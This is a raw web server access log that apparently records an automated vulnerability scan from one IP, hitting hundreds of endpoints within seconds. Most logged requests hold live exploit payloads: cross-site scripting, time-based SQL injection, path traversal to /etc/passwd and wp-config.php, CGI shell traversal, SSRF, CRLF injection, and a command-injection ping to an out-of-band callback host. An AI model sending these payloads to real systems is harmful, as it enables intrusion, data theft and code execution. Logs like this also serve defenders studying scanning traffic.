[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /apply.cgi HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /tmui/locallb/workspace/tmshCmd.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //include/config.inc.php.tmp HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //include/config.php.tmp HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /images/icons_title.gif HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/ping/;%60id%60 HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /signin?from=https://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //includes/config.php.tmp HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PUT /cgi-bin/O5vWlS.txt HTTP/1.1" 199
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=window&callback=</script><img/src/onerror=alert(document.domain)> HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh HTTP/1.1" 226
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?p=%3Cimg%20src%20onerror=alert(/XSS/)%3E&debug_url=1 HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wiki/pages/createpage-entervariables.action?SpaceKey=x HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /TransferredOutModal.php?modfunc=detail HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?rest_route=/whm/v3/themesettings HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/geojson?url=file:///c://windows/win.ini HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?wahi=JzthbGVydChkb2N1bWVudC5kb21haW4pOy8v HTTP/1.1" 3426
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=ajax_get&route_name=get_doctor_details&clinic_id=%7B\"id\":\"1\"%7D&props_doctor_id=1,2)+AND+(SELECT+42+FROM+(SELECT(SLEEP(6)))b HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /?rest_route=/notificationx/v1/analytics HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=shareaholic_debug_info HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /assets/elFinder/elfinder.html HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/ HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/admin.cgi?Command=sysCommand&Cmd=ping${IFS}-c${IFS}1${IFS}d5g6to2hausk1oj0j65gnkghsq6ufuuxg.oast.live HTTP/1.1" 199
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /resin-doc/;/WEB-INF/resin-web.xml HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-login.php?wlcms-action=preview HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /archive/download?file=file:///etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /users/sign_in HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /embed.js HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PUT /380DIVn1Yg4HAoUqdyOL0vSvkBf.txt HTTP/1.1" 220
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /demo/api/logout?redirect_to=/asdf%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //cgi-bin/status/status.cgi HTTP/1.1" 199
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /user/login HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/export-cgi?category=config&arg0=startup-config.conf HTTP/1.1" 199
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?p=1&xsg-provider=%3Cimg%20src%20onerror=alert(document.domain)%3E&xsg-format=yyy&xsg-type=zz&xsg-page=pp HTTP/1.1" 3426
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/logout?redirect_to=%0d%0aSet-Cookie:crlfinjection=1; HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin.php?page=vfb-export HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-login.php HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /redash/reset/IjEi.YhAmmQ.cdQp7CnnVq02aQ05y8tSBddl-qs HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PUT /cgi-bin/1ibLGB.txt HTTP/1.1" 199
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /atmail/?format=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=kc_get_thumbn&id=https://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?mapp_iframe=1&mapid=--%3E%3Cimg%20src%20onerror=alert(document.domain)%3E HTTP/1.1" 3426
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=lp_background_single_email&lp-dismiss-notice=xxx<img%20src=x%20onerror=alert(document.domain)> HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /karma.js HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=get_monthly_timetable&month=1+AND+(SELECT+6881+FROM+(SELECT(SLEEP(6)))iEAn) HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php/interact.sh HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=woocs_get_products_price_html&woocs_in_order_currency=<img%20src%20onerror=alert(document.domain)> HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InsightPluginShowGeneralConfiguration.jspa; HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/profile-builder/assets/misc/fallback-page.php?site_url=javascript:alert(document.domain);&message=Not+Found&site_name=404 HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?rest_route=/pvc/v1/increase/1&post_ids=0)%20union%20select%20md5(999999999),null,null%20--%20g HTTP/1.1" 3426
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public/plugins/alertlist/../../../../../../../../../../../../../../../../../../../windows/win.ini HTTP/1.1" 226
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?rest_route=/wc/v3/wishlist/remove_product/1&item_id=0%20union%20select%20sleep(7)%20--%20g HTTP/1.1" 3426
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/logout?redirect_to=http://oast.pro/ HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /getCorsFile?urlPath=file:///c://windows/win.ini HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /_ignition/execute-solution HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /./RestAPI/Connection HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/blade-user/user-list HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/users/search_authors HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=bwg_frontend_data&shortcode_id=1&bwg_tag_id_bwg_thumbnails_0[]=)%22%20union%20select%201,2,3,4,5,6,7,concat(md5(999999999),%200x2c,%208),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%20--%20g HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /system/login/SysLoginUser.aspx?Login=Denied&UID=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "DELETE /images/icons_title.gif HTTP/1.1" 223
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //includes/config.tmp HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /signin?from=javascript:alert(document.cookie) HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /laravel52/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /user/login HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /user/login/?next=https%3A%2F%2Finteract.sh HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=memberhero_send_form&_memberhero_hook=phpinfo HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?rest_route=/xs-donate-form/payment-redirect/3 HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-json/click5_sitemap/API/update_html_option_AJAX HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?meta_ids=1+AND+(SELECT+3066+FROM+(SELECT(SLEEP(6)))CEHy)&action=remove_post_meta_condition HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/simple-file-list/includes/ee-downloader.php?eeFile=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/wp-config.php HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /userportal/Controller?mode=8700&operation=1&datagrid=179&json={\"%f0%9f%a6%9e\":\"test\"} HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /user/login HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php?action=wpt_admin_update_notice_option HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/cab-fare-calculator/tblight.php?controller=../../../../../../../../../../../etc/passwd%00&action=1&ajax=1 HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/video-synchro-pdf/reglages/Menu_Plugins/tout.php?p=tout HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /mgmt/tm/util/bash HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/admin-word-count-column/download-csv.php?path=../../../../../../../../../../../../etc/passwd\\0 HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/site-offline/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "HEAD /wp-login.php HTTP/1.1" -
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/gwyns-imagemap-selector/popup.php?id=1&class=%22%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1" 226
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /resumes/?s=%22%3E%3Cimg+src%3Dx+onerror%3Dalert(document.domain)%3E HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-json/am-member/license HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/documentor-lite/core/js/documentor.js HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "DELETE /cgi-bin/O5vWlS.txt HTTP/1.1" 199
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/checkCookie?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /380DIVn1Yg4HAoUqdyOL0vSvkBf.txt HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wiki/pages/createpage-entervariables.action HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /module/?module=admin%2Fmodules%2Fmanage&id=test%22+onmousemove%3dalert(document.domain)+xx=%22test&from_url=x HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=vtprd_product_search_ajax&term=aaa%27+union+select+1,sleep(6),3--+- HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin.php?page=rsvp-admin-export HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backend/elfinder/elfinder-cke.html HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plugins/jobsearch/?search_title=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert%28domain%29%3E&ajax_filter=true&posted=all&sort-by=recent HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /archive/download?file=http://d5g6to2hausk1oj0j65gg8usmj4fpgn43.oast.live/ HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /module/?module=%27onm%3Ca%3Eouseover=alert(document.domain)%27%22tabindex=1&style=width:100%25;height:100%25;&id=x&data-show-ui=admin&class=x&from_url=https://202.181.208.139:443 HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /?rest_route=/olistener/new HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin.php?page=html2wp-settings HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-json/metform/v1/forms/templates/0 HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-json/wp/v2/asked-question HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpsso_server/caches/configs/database.php.tmp HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpsso_server/caches/configs/system.php.tmp HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET .//WEB-INF/weblogic.xml HTTP/1.1" 226
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=dprv_log_event&message=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /apisix/batch-requests HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=cdi_collect_follow&trk=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=woot_get_smth&what={%22call_action%22:%22x%22,%22more_data%22:%22\\u003cscript%3Ealert(document.domain)\\u003c/script%3E%22} HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=aux_the_recent_products&data[wp_query_args][post_type]=post&data[title]=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=ptp_design4_color_columns&post_id=1&column_names=<script>alert(document.domain)</script> HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?p=1&xsg-provider=data://text/html,<?php%20echo%20md5(\"CVE-2022-0346\");%20//&xsg-format=yyy&xsg-type=zz&xsg-page=pp HTTP/1.1" 3426
